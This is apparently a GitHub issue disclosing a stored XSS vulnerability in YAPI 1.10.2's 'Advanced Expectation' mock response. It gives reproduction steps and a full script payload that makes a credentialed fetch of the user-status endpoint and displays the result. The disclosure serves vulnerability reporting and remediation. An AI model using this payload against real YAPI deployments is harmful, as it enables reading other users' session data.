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yapi 1.10.2 (2021-10-13) has a stored XSS vulnerability #2745

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Hebing123 opened this issue Apr 26, 2024 · 0 comments
Open

yapi 1.10.2 (2021-10-13) has a stored XSS vulnerability #2745

Hebing123 opened this issue Apr 26, 2024 · 0 comments

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@Hebing123
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Hebing123 commented Apr 26, 2024 •
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Summary

A stored XSS vulnerability exists in Yapi 1.10.2 (2021-10-13) which allows attackers to execute arbitrary HTML code.

Details

In the advanced expectation, the user can execute any html code, which is not allowed because of the same origin relationship, we can attack any user present on the system through the vulnerability.
Therefore, the ideal solution is to filter and escape the user-defined body field.

POC

  1. Register and log in to your account, create a project, and add an interface.
    image
  2. Choose "Advanced Expectation - Response."
    image
  3. Modify the body to:
<!DOCTYPE html>
<script>
    fetch('https://your-ip/api/user/status', {
            method: "GET",
            headers: {
                "Accept": "application/json"
            },
            credentials: 'include'
        })
        .then(response => response.json())
        .then(data => {
            alert(JSON.stringify(data));
        })
        .catch(err => {
            console.error('Error:', err);
            alert('Occured an error while fetching data');
        });
</script>

image
Visit your Api Url, such as https://localhost/mock/4089/test
image
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@Hebing123